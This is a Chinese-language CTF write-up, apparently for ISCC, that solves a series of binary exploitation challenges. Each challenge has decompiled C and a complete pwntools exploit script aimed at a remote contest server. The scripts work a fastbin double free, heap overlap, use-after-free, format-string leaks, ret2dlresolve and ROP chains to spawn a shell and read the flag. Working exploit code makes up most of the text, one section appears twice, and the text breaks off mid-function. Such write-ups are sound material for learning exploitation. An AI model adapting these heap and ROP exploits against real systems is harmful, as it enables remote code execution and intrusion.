这个时间太长了,后来出的题不会作,再后来都不想作了.最后差练武题最后一个和擂台最后一个,再后来就没上,不清楚后来还有没有题.
时间比较长有些题都不好找了,找着也忘得差不多了,尽量补齐吧.
从名字看是double free的意思,代码都在一起.free的时候没删指针,只置size=0,而且add,show,edit都进行了size检查,唯独free没有.确实存在double,
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[268]; // [rsp+0h] [rbp-130h] BYREF
int v5; // [rsp+10Ch] [rbp-24h]
int v6; // [rsp+110h] [rbp-20h]
int v7; // [rsp+114h] [rbp-1Ch]
char *v8; // [rsp+118h] [rbp-18h]
int size; // [rsp+124h] [rbp-Ch]
int idx; // [rsp+128h] [rbp-8h]
int v11; // [rsp+12Ch] [rbp-4h]
init();
dword_6021E0 = 127;
while ( 1 )
{
v11 = menu();
if ( v11 == 5 )
break;
switch ( v11 )
{
case 1: // add
idx = get_idx(); // <0xff
if ( !sizes[idx] )
{
size = get_size();
v8 = (char *)malloc(size);
if ( !v8 )
out(byte_400D5C);
(&ptrs)[idx] = v8;
sizes[idx] = size;
}
break;
case 2: // free
v7 = get_idx();
free((&ptrs)[v7]);
sizes[v7] = 0;
break;
case 3: // show
v6 = get_idx();
if ( sizes[v6] )
{
if ( v6 > 31 )
out(byte_400D39);
puts((&ptrs)[v6]);
}
break;
case 4:
v5 = get_idx();
if ( sizes[v5] )
{
printf(&byte_400D6C);
if ( read(0, (&ptrs)[v5], sizes[v5]) < 0 )
out(byte_400D85);
}
break;
default:
puts(&byte_400D98);
break;
}
}
if ( dword_6021E8 == 0x15CC15CC && dword_602228 == 0xCC51CC51 )
{
printf("congratulations! Give you a reward: %p\n", buf);
puts("please input what you want to say:");
read(0, buf, 0x100uLL);
end(buf);
}
return 0;
}
add会在6024E0 的指针区放指针和 6020E0放size 对于libc-2.23来说fastbin可以进行aba的double但建块时会检查头大小是否相符.
思路:
先在62建个块,size用0x71,然后double free后利用这个头标记将块建到控制区0x6021E8, 0x602228附近,控制这个区域写入指定值得到溢出.写入足够长的payload中转到后门
from pwn import *
#p = process('./double')
p = remote('59.110.164.72',10021)
context(arch='amd64', log_level='debug')
menu = bytes.fromhex('EFBC9A')
def add(idx,size):
p.sendlineafter(menu, b'1')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, str(size).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
p.sendafter(menu, msg)
add(0,0x68)
add(1,0x68)
add(62,0x71)
free(0)
free(1)
free(0)
add(0,0x68)
edit(0, p64(0x6021d0))
add(1,0x68)
add(2,0x68)
add(3,0x68)
edit(3, b'/bin/sh\x00' + p64(0x15CC15CC) + b'B'*0x38 + p64(0xCC51CC51))
#gdb.attach(p, 'b*0x400939\nc')
p.sendlineafter(menu, b'5')
p.recvuntil(b'congratulations! Give you a reward: ')
stack = int(p.recvline(), 16)
print(f"{stack = :x}")
pop_rdi = 0x0000000000400cb3 # pop rdi ; ret
bin_sh = 0x6021e0
p.sendafter(b"please input what you want to say:\n",flat(pop_rdi,bin_sh,0x4008eb,0,stack-8) + p64(pop_rdi+1)*24 + flat(pop_rdi, bin_sh, 0x4008eb))
p.sendline(b'cat flag.txt')
p.interactive()
第二个堆题,依然是libc-2.23这么古老有docker已经很少见了,这题会不会是5年前出的
第一层菜单为了浪费时间,选4进行第二层,在edit的时候长度可以自己输有溢出
unsigned __int64 change_food()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of food:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *(_QWORD *)&foodlist[4 * v1 + 2] )
{
printf("Please enter the price of food :");
read(0, nptr, 8uLL);
v2 = atoi(nptr); //输入长度,溢出
printf("Please enter the name of food:");
*(_BYTE *)(*(_QWORD *)&foodlist[4 * v1 + 2] + (int)read(0, *(void **)&foodlist[4 * v1 + 2], v2)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No food in the menu");
}
return __readfsqword(0x28u) ^ v5;
}
思路:
先通过溢出修改下一块的size,释放进入unsort再建回来,利用残留的unsort与2块重叠,show得到libc地址,同样方法利用重叠块得到堆地址.并修改指针将one写到管理块的goodbye函数位置,退出时执行.
from pwn import *
#p = process('./chef')
p = remote('59.110.164.72',10031)
context(arch='amd64', log_level='debug')
libc = ELF('./libc-2.23.so')
menu = b':'
def add(size, msg='A'):
p.sendlineafter(menu, b'2')
p.sendlineafter(menu, str(size).encode())
p.sendafter(menu, msg)
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(menu, str(idx).encode())
def show():
p.sendlineafter(menu, b'1')
def edit(idx,size,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(menu, str(idx).encode())
p.sendlineafter(menu, str(size).encode())
p.sendafter(menu, msg)
p.sendlineafter(menu, b'4')
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
add(0x18)
add(0x48)
add(0x48)
add(0x18) #3
edit(0, 0x20, p64(0)*3 + p64(0xa1)[:-1])
free(1)
add(0x48) #1
show()
p.recvuntil(b'2 : ')
libc.address = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
add(0x48) #4
free(1)
free(4)
show()
p.recvuntil(b'2 : ')
heap = u64(p.recvuntil(b'3 : ', drop=True).ljust(8,b'\x00')) - 0x40
print(f"{heap = :x}")
free(3)
edit(2, 0x58, b'\x00'*0x48 + p64(0x21) + p64(heap))
add(0x18) #3
add(0x18, p64(0)+ p64(libc.address + one[0]))
p.sendlineafter(menu, b'5')
p.sendlineafter(menu, b'5')
p.sendline('cat flag*')
p.interactive()
32位的程序更古老,
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1h] [ebp-119h] BYREF
int i; // [esp+2h] [ebp-118h]
_DWORD *v6; // [esp+6h] [ebp-114h]
int v7; // [esp+Ah] [ebp-110h]
int v8; // [esp+Eh] [ebp-10Ch]
int (**v9)(void); // [esp+12h] [ebp-108h]
_DWORD *v10; // [esp+16h] [ebp-104h]
_DWORD *v11; // [esp+1Ah] [ebp-100h]
void *ptr; // [esp+1Eh] [ebp-FCh]
_DWORD *v13; // [esp+22h] [ebp-F8h]
_DWORD *v14; // [esp+26h] [ebp-F4h]
char nptr[200]; // [esp+46h] [ebp-D4h] BYREF
unsigned int v16; // [esp+10Eh] [ebp-Ch]
int *p_argc; // [esp+112h] [ebp-8h]
p_argc = &argc;
v16 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("Welcome to ISCC!");
puts("How do you learn pwn?(bush");
for ( i = 0; i <= 9; ++i )
*(&ptr + i) = 0;
ptr = fun_malloc20();
v13 = fun_malloc20();
v14 = fun_malloc20();
*(_DWORD *)ptr = fun_malloc20;
*v13 = fun2_puts_s;
v6 = v14;
*v14 = greeting;
while ( 1 )
{
while ( 1 ) // 1,free
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v7 = 3;
puts("Then?");
fgets(&s, 13, stdin); // s,i,v6,v7
puts("emmm?!");
fgets(nptr, 3, stdin);
nptr[1] = 0;
v8 = atoi(nptr);
if ( v8 >= v7 )
break;
v11 = v14;
((void (__cdecl *)(_DWORD))*v14)(*(&ptr + v8));
}
if ( s != '0' )
break;
if ( !*(&ptr + v8) )
goto LABEL_16;
v10 = v13;
((void (__cdecl *)(_DWORD))*v13)(*(&ptr + v8));// 0 show
}
if ( s != '1' )
break; // 1,free
if ( !*(&ptr + v8) )
goto LABEL_16;
free(*(&ptr + v8));
puts("!!!");
}
if ( s != '2' )
break; // 2 add
if ( *(&ptr + v8) )
goto LABEL_16;
v9 = (int (**)(void))ptr;
puts("!!!");
*(&ptr + v8) = (void *)(*v9)();
}
if ( s != '3' ) // edit
break;
if ( v8 > 2 && *(&ptr + v8) ) // >2
{
fgets((char *)*(&ptr + v8), 32, stdin);
puts("!!!");
}
else
{
LABEL_16:
puts("???");
}
}
puts("It looks that you knew little about me.");
puts("What's more will you leave for me?");
fgets(nptr, 100, stdin);
return 0;
}
管理块的ID跟用户块在一起,直接show得到程序加载地址,同时free也不清指针可以show和edit
利用fastbin指针得到堆地址,然后在前边的输入缓冲区找个位置(不能在开始,开始输入时会用)free得到unsort得到libc地址
将管理块释放,重建写入system,再执行.
每次正常单前要覆盖v7才能正常执行功能.
from pwn import *
#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')
elf = ELF('./Riddler')
libc = ELF('./libc.so')
def show(off):
p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def free(off):
p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def add(off):
p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def edit(off, msg):
p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
p.sendline(msg)
'''
0xffffcf40│+0x0000: 0x00000000 ← $esp
0xffffcf44│+0x0004: 0x00000000
0xffffcf48│+0x0008: 0xf7fdf449 → add ebx, 0x1dbb7
0xffffcf4c│+0x000c: 0x3043a318
0xffffcf50│+0x0010: 0x00000000
0xffffcf54│+0x0014: 0x00000000
0xffffcf58│+0x0018: 0x00000000
0xffffcf5c│+0x001c: 0x00000000
0xffffcf60│+0x0020: 0xffffd02c → 0xf7fcd808 → 0x00000000
0xffffcf64│+0x0024: 0x5655b190 → 0x565557d5 → push ebp
0xffffcf68│+0x0028: 0xf7ffdd8c → 0xf7ffdc44 → 0xf7ffdc30 → 0xf7fd4000 → 0x464c457f
0xffffcf6c│+0x002c: 0x5655b160 → 0x565557aa → push ebp
0xffffcf70│+0x0030: 0x5655b190 → 0x565557d5 → push ebp
0xffffcf74│+0x0034: 0x5655b1c0 → 0x565557fc → push ebp
'''
show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")
add(3)
add(4)
free(4)
free(3)
show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")
edit(3, p32(heap + 0x1b0))
add(5)
add(6)
edit(6, flat(0,0,0,0x1011+0x30))
free(2)
show(2)
libc.address = u32(p.recv(4)) - 0x50 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
add(7)
edit(7, flat(libc.sym['system'], 0))
free(4)
free(3)
edit(3, p32(heap + 0x190))
add(8)
add(9)
edit(9, b'/bin/sh\x00')
p.sendlineafter(b"Then?\n", b"0")
p.sendlineafter(b"emmm?!\n", b'1')
context.log_level='debug'
p.sendline(b'cat /flag*')
p.interactive()
main会调用两次func_key,func_key里有格式化字符串漏洞, func_1有一个足够长的溢出.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int i; // [rsp+Ch] [rbp-4h]
in_it(argc, argv, envp);
result = puts("You can't escape. Stay in the eternal box");
for ( i = 0; i <= 1; ++i )
result = func_key();
return result;
}
__int64 func_key()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("This is a larger box");
read(0, buf, 0x10uLL);
if ( buf[1] == '9' )
func_1();
printf(buf); // 格式化字符串漏洞
return 0LL;
}
unsigned __int64 func_1()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("We have a lot to talk about");
read(0, buf, 0x100uLL);
return __readfsqword(0x28u) ^ v2;
}
先作第一次格式化字符串得到 canary,stack,libc然后写ORW
from pwn import *
p = remote('59.110.164.72',10066)
#p = process('./Trapped')
context(arch='amd64', log_level = 'debug')
libc = ELF('./libc.so.6')
p.sendafter(b"This is a larger box\n", b'%9$p,%15$p,%10$p')
p.sendafter(b"We have a lot to talk about", b'AAA')
canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - libc.sym['__libc_start_main'] - 240
stack = int(p.recv(14),16) -0x80
pop_rdi = 0x0000000000400a23 # pop rdi ; ret
pop_rsi = next(libc.search(asm('pop rsi; ret')))
pop_rdx = next(libc.search(asm('pop rdx; ret')))
p.sendafter(b"This is a larger box\n", b'%9$p,%15$p')
p.sendlineafter(b"We have a lot to talk about", b'/flag'.ljust(40, b'\x00') + flat(canary, 0, pop_rdi, stack,pop_rsi,0,libc.sym['open'],pop_rdi,3,pop_rsi, stack-0x50,libc.sym['read'],pop_rdx,0x50, pop_rdi,1,pop_rsi, stack-0x50, pop_rdx,0x50, libc.sym['write']))
p.interactive()
32位PIE未开,有溢出,感觉怎么也应该放到第1个,不过只有read没有输出,只能用一次过的ROP
int __cdecl main(int argc, const char **argv, const char **envp)
{
eat();
return 0;
}
ssize_t eat()
{
char buf[72]; // [esp+0h] [ebp-48h] BYREF
return read(0, buf, 0x100u);
}
板子
from pwn import *
#p = process(binary)
p = remote('59.110.164.72', 10067)
binary = 'p8'
elf = ELF(binary)
context(arch='i386', log_level='debug')
rop = ROP(binary)
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dl.data_addr)
rop.ret2dlresolve(dl)
rop_content = rop.chain()
payload = b'E'*0x48 + p32(0) + rop_content
payload = payload.ljust(0x100, b'\x00') + dl.payload
p.send(payload)
p.interactive()
有UAF的堆题过于简单
void __cdecl dele()
{
unsigned int idx; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index:");
read(0, buf, 4uLL);
idx = atoi(buf);
if ( idx >= 0x10 )
{
puts("nonono!");
_exit(0);
}
if ( heaparray[idx] )
{
free(heaparray[idx]);
realsize[idx] = 0LL;
puts("Done !");
--num;
}
else
{
puts("No such Stu !");
}
}
小板子
from pwn import *
#p = process('SIMS')
p = remote('59.110.164.72', 10085)
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./SIMS')
p.sendlineafter(b"welcome~ please input the password:\n" ,str(0x6b8b4567^0x15CC15CC).encode())
menu = b"please choose one!\n"
def add(size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Age of Stu:\n", str(size).encode())
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index:", str(idx).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index:", str(idx).encode())
p.sendafter(b"Content of Stu:\n", msg)
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index:", str(idx).encode())
add(0x430)
add(0x18)
add(0x18)
add(0x18)
add(0x18)
free(0)
show(0)
p.recvuntil(b"Content : ")
libc.address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
free(3)
edit(3, p64(libc.sym['__free_hook']))
add(0x18)
add(0x18) #4
edit(3, b'/bin/sh\x00')
edit(4, p64(libc.sym['system']))
free(3)
p.interactive()
read读入16字节,可以覆盖到v2,v3,c4,seed
__int64 begingame()
{
char s[2]; // [rsp+Ah] [rbp-16h] BYREF
int v2; // [rsp+Ch] [rbp-14h] BYREF
int v3; // [rsp+10h] [rbp-10h]
int v4; // [rsp+14h] [rbp-Ch]
unsigned int seed; // [rsp+18h] [rbp-8h]
unsigned int v6; // [rsp+1Ch] [rbp-4h]
puts("Welcome to my world");
puts("Maybe you can make three wishes");
puts("In exchange, you have to guess what I think");
puts("Now you can make your first wish");
fflush(stdout);
memset(s, 0, sizeof(s));
read(0, s, 0x16uLL); // 覆盖所有
srand(seed);
v3 = 0;
while ( 1 )
{
v4 = rand() % 9 + 1;
puts("Please give me a number!");
fflush(stdout);
__isoc99_scanf("%d", &v2);
if ( v4 != v2 )
break;
if ( v3 )
thirdwish();
srand(v6);
v3 = 1;
secondwish();
}
return 0LL;
}
第一次行泄露canary然后就可以溢出到后门
from pwn import *
from ctypes import *
#p =process('makewishes')
p = remote('59.110.164.72', 10001)
context.log_level = 'debug'
libc = cdll.LoadLibrary("./libc.so.6")
#gdb.attach(p, 'b*0x4012eb')
#s:2 v2:4, v3,v4,seed,v6
pay = b'AA'+p32(0)*5
p.sendafter(b"Now you can make your first wish\n", pay)
libc.srand(0)
v4 = libc.rand()%9 + 1
print(v4)
p.sendlineafter(b"Please give me a number!\n", str(v4).encode())
p.sendafter(b"Now you can make your second wish!\n", b'%11$p,')
canary = int(p.recvuntil(b',' ,drop=True),16)
libc.srand(0)
v4 = libc.rand()%9 + 1
p.sendlineafter(b"Please give me a number!\n", str(v4).encode())
p.sendafter(b"Now you can make your final wish!\n", p64(0)*5+p64(canary) + p64(0x404800) + p64(0x4011d6))
p.interactive()
第1次读buf时覆盖到v6进入后读入v4,由于print_name里有溢出,直接溢出到one
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[256]; // [rsp+10h] [rbp-120h] BYREF
char buf[28]; // [rsp+110h] [rbp-20h] BYREF
int v6; // [rsp+12Ch] [rbp-4h]
init(argc, argv, envp);
puts("welcome to UserLoginSystem!");
printf("Here is a tip: %p\n", stdin);
v6 = 0;
puts("input the username:");
read(0, buf, 0x20uLL);
if ( v6 == 365696460 )
{
printf("correct username!");
puts("input the password:");
read(0, v4, 0x100uLL);
print_name(v4);
}
return 0;
}
int __fastcall print_name(const void *a1)
{
char dest[32]; // [rsp+10h] [rbp-20h] BYREF
memcpy(dest, a1, 0x100uLL);
return printf("Hello %s\n", dest);
}
from pwn import *
#p =process('Login')
p = remote('59.110.164.72', 10000)
context(arch='amd64', log_level = 'debug')
libc = ELF('./libc-2.23.so')
p.recvuntil("Here is a tip: ")
libc.address = int(p.recvline().strip(), 16) - libc.sym['_IO_2_1_stdin_']
print(f"{libc.address = :x}")
p.sendafter(b"input the username:\n", b'A'*28 + p32(365696460))
p.sendafter(b"input the password:\n", b'A'*0x28 + p64(libc.address + 0xf03a4))
p.interactive()
两层菜单题,有用的在第2层。
unsigned __int64 design_character_skill()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
while ( 1 )
{
puts("please design skills");
puts("--------------------------------");
puts(" 1. Create a skill ");
puts(" 2. Edit skill damage ");
puts(" 3. Edit skill introduction ");
puts(" 4. Show skill ");
puts(" 5. Delete a skill ");
puts(" 6. back ");
puts("--------------------------------");
printf("Your choice :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 == 6 )
break;
switch ( v1 )
{
case 1:
m11add();
break;
case 2:
edit_damage(); // realoc
break;
case 3:
edit_introduction(); // edit
break;
case 4:
show_skill();
break;
case 5:
delete_skill();
break;
default:
puts("invaild choice!!!");
break;
}
}
return __readfsqword(0x28u) ^ v3;
}
edit有写溢出,通过溢出造重叠块,控制管理块。再通过unsort得到libc,最后通过向管理块的指针写one_gadget得到shell
from pwn import *
from itertools import *
#p =process('./your_character')
p = remote('59.110.164.72', 10003)
context(arch='amd64',log_level = 'debug')
libc = ELF('./libc.so.6')
elf = ELF('./your_character')
menu = b"Your choice :"
def add(size):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Damage of skill : ", str(size).encode())
p.sendafter(b"introduction of skill:", b'A')
def edit_size(idx, size):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendlineafter(b"Damage of skill : ", str(size).encode())
def edit(idx,msg):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendafter(b"introduction of skill : ", msg)
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index :", str(idx).encode())
def free(idx):
p.sendlineafter(menu, b'5')
p.sendlineafter(b"Index :", str(idx).encode())
p.sendlineafter(b"Your choice :", b'2')
p.sendlineafter(b"Please enter the background story of your character: \n", b'A')
p.sendlineafter(b"Your choice :", b'1') #in
for i in [0x80,0x18,0x18,0x18]:
add(i)
edit(1, b'A'*0x18+ p8(0x61))
free(2)
add(0x58)
edit(2, b'A'*0x8)
show(2)
p.recvuntil(b'A'*0x8)
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x370
print(f"{heap_addr = :x}")
free(0)
edit(2, flat(0,0,0,0x21,0x800,heap_addr+ 0x280)) #2 ptr-> unsort
show(2)
p.recvuntil(b"Introduction : ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x58 - 0x10 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
edit(2, b'A'*0xf0 + flat(0x800, heap_addr+0x10) )
one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
edit(2, p64(libc.address + one[0])*2)
p.sendlineafter(menu, b'6')
p.sendlineafter(menu, b'4')
p.sendline(b'cat /flag*')
p.interactive()
有管理块,就一般是攻击这个指针。有UAF。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1h] [ebp-119h] BYREF
int i; // [esp+2h] [ebp-118h]
_DWORD *v6; // [esp+6h] [ebp-114h]
int v7; // [esp+Ah] [ebp-110h]
int v8; // [esp+Eh] [ebp-10Ch]
int (**v9)(void); // [esp+12h] [ebp-108h]
_DWORD *v10; // [esp+16h] [ebp-104h]
_DWORD *v11; // [esp+1Ah] [ebp-100h]
void *ptr; // [esp+1Eh] [ebp-FCh]
_DWORD *ptr1; // [esp+22h] [ebp-F8h]
_DWORD *ptr2; // [esp+26h] [ebp-F4h]
char nptr[200]; // [esp+46h] [ebp-D4h] BYREF
unsigned int v16; // [esp+10Eh] [ebp-Ch]
int *p_argc; // [esp+112h] [ebp-8h]
p_argc = &argc;
v16 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("Welcome to ISCC!");
puts("How do you learn pwn?(bush");
for ( i = 0; i <= 9; ++i )
*(&ptr + i) = 0;
ptr = (void *)malloc20();
ptr1 = (_DWORD *)malloc20();
ptr2 = (_DWORD *)malloc20();
*(_DWORD *)ptr = malloc20;
*ptr1 = puts_s;
v6 = ptr2;
*ptr2 = func_null;
while ( 1 ) // add_20
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v7 = 3;
puts("Then?");
fgets(&s, 13, stdin); // s,i,v6,v7
puts("emmm?!");
fgets(nptr, 3, stdin);
nptr[1] = 0;
v8 = atoi(nptr);
if ( v8 >= v7 )
break;
v11 = ptr2; // greeting
((void (__cdecl *)(_DWORD))*ptr2)(*(&ptr + v8));
}
if ( s != '0' )
break; // show
if ( !*(&ptr + v8) )
goto LABEL_16;
v10 = ptr1;
((void (__cdecl *)(_DWORD))*ptr1)(*(&ptr + v8));
}
if ( s != '1' )
break; // free
if ( !*(&ptr + v8) )
goto LABEL_16;
free(*(&ptr + v8));
puts("!!!");
}
if ( s != '2' )
break; // add_20
if ( *(&ptr + v8) )
goto LABEL_16;
v9 = (int (**)(void))ptr;
puts("!!!");
*(&ptr + v8) = (void *)(*v9)();
}
if ( s != '3' )
break;
if ( v8 > 2 && *(&ptr + v8) ) // edit
{
fgets((char *)*(&ptr + v8), 32, stdin);
puts("!!!");
}
else
{
LABEL_16:
puts("???");
}
}
puts("It looks that you knew little about me.");
puts("What's more will you leave for me?");
fgets(nptr, 100, stdin);
return 0;
}
把指针改为system
from pwn import *
#p = process('./Riddler')
p = remote('59.110.164.72',10028)
context(arch='i386')
elf = ELF('./Riddler')
libc = ELF('./libc.so')
def show(off):
p.sendafter(b"Then?\n", b"0"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def free(off):
p.sendafter(b"Then?\n", b"1"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def add(off):
p.sendafter(b"Then?\n", b"2"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
def edit(off, msg):
p.sendafter(b"Then?\n", b"3"+ b'\x00'*11)
p.sendlineafter(b"emmm?!\n", str(off).encode())
p.sendline(msg)
'''
0xffffcf40│+0x0000: 0x00000000 ← $esp
0xffffcf44│+0x0004: 0x00000000
0xffffcf48│+0x0008: 0xf7fdf449 → add ebx, 0x1dbb7
0xffffcf4c│+0x000c: 0x3043a318
0xffffcf50│+0x0010: 0x00000000
0xffffcf54│+0x0014: 0x00000000
0xffffcf58│+0x0018: 0x00000000
0xffffcf5c│+0x001c: 0x00000000
0xffffcf60│+0x0020: 0xffffd02c → 0xf7fcd808 → 0x00000000
0xffffcf64│+0x0024: 0x5655b190 → 0x565557d5 → push ebp
0xffffcf68│+0x0028: 0xf7ffdd8c → 0xf7ffdc44 → 0xf7ffdc30 → 0xf7fd4000 → 0x464c457f
0xffffcf6c│+0x002c: 0x5655b160 → 0x565557aa → push ebp
0xffffcf70│+0x0030: 0x5655b190 → 0x565557d5 → push ebp
0xffffcf74│+0x0034: 0x5655b1c0 → 0x565557fc → push ebp
'''
show(0)
elf.address = u32(p.recv(4)) - elf.sym['fun']
print(f"{elf.address = :x}")
add(3)
add(4)
free(4)
free(3)
show(3)
heap = u32(p.recv(4)) - 0x1230
print(f"{heap = :x}")
edit(3, p32(heap + 0x1b0))
add(5)
add(6)
edit(6, flat(0,0,0,0x1011+0x30))
free(2)
show(2)
libc.address = u32(p.recv(4)) - 0x50 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
add(7)
edit(7, flat(libc.sym['system'], 0))
free(4)
free(3)
edit(3, p32(heap + 0x190))
add(8)
add(9)
edit(9, b'/bin/sh\x00')
p.sendlineafter(b"Then?\n", b"0")
p.sendlineafter(b"emmm?!\n", b'1')
context.log_level='debug'
p.sendline(b'cat /flag*')
p.interactive()
这是个猜迷,从网上搜到提示然后拼成拼音。然后在func_2溢出到后门,后门有3个,两个假的。
int __cdecl main(int argc, const char **argv, const char **envp)
{
func_1(argc, argv, envp);
func_2046();
write(1, "Let me test your learning achievements\n", 0x27uLL);
func_2();
puts("Is there anything hidden");
return 0;
}
ssize_t func_2046()
{
ssize_t result; // rax
char v1[80]; // [rsp+0h] [rbp-B0h] BYREF
char buf[80]; // [rsp+50h] [rbp-60h] BYREF
FILE *stream; // [rsp+A0h] [rbp-10h]
int j; // [rsp+A8h] [rbp-8h]
int i; // [rsp+ACh] [rbp-4h]
puts("Have you understood the nine stroke?");
puts("from 0 to 7 is 'dunbi000'");
puts("and 40 to 47 is 'nvfeng00'!");
stream = fopen("code.txt", "r");
if ( !stream )
{
puts("It may be in some trouble");
exit(0);
}
for ( i = 0; i <= 71; ++i )
__isoc99_fscanf(stream, "%c", &v1[i]);
fclose(stream);
result = read(0, buf, 0x49uLL);
for ( j = 0; j <= 71; ++j )
{
result = (unsigned __int8)buf[j];
if ( v1[j] != (_BYTE)result )
{
puts("You need to learn more cultural knowledge");
exit(0);
}
}
return result;
}
ssize_t func_2()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Knowledge needs to be learned bit by bit");
puts("And you may need to review again and again");
puts("or you can look for other space");
return read(0, buf, 0x30uLL);
}
from pwn import *
from itertools import *
#p =process('usage_of_pen')
context.log_level = 'error'
libc = ELF('./libc.so.6')
elf = ELF('./usage_of_pen')
pop_rdi = 0x0000000000400c53 # pop rdi ; ret
ss = 'dunbi000cuobi000yufeng00dunfeng0cunfeng0nvfeng00yuefeng0anfeng00jiebi000'
p = remote('59.110.164.72', 10002)
p.sendafter(b"and 40 to 47 is 'nvfeng00'!\n", ss.encode())
msg = p.recvline()
context(arch='amd64', log_level = 'debug')
p.sendafter(b"or you can look for other space\n" , b'\x00'*0x28 + p64(0x400b0f))
p.send(b'\x00'*0x28 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400b0f))
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
p.send(b'\x00'*0x28 + flat(pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))
p.sendline('cat flag*')
p.interactive()
#yz8f=clntclzz
#anyagougedi
过了N天后,这题目录下多了一个文件 文件见容是anyagougedi 是第三裹束的提示1
前边就是一堆瞎绕,然后后边溢出直接溢出就OK,
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [rsp+0h] [rbp-B0h] BYREF
void *v5; // [rsp+80h] [rbp-30h]
char *v6; // [rsp+88h] [rbp-28h]
size_t size; // [rsp+90h] [rbp-20h]
_QWORD *v8; // [rsp+98h] [rbp-18h]
ssize_t v9; // [rsp+A0h] [rbp-10h]
void *s; // [rsp+A8h] [rbp-8h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("Welcome to the second class");
puts("Here you need to understand the trend and change of top");
s = malloc(0x10uLL);
memset(s, 65, 0x18uLL);
puts("Start injecting");
v9 = read(0, buf, 0x80uLL);
v8 = (char *)s + v9; // 堆地址加串长度
puts("You may need some reference materials");
printf("%lud", v8);
*v8 = (int)get_int(); // 把top改最大,将块建到覆盖bsf
if ( strlen(buf) > 1 )
{
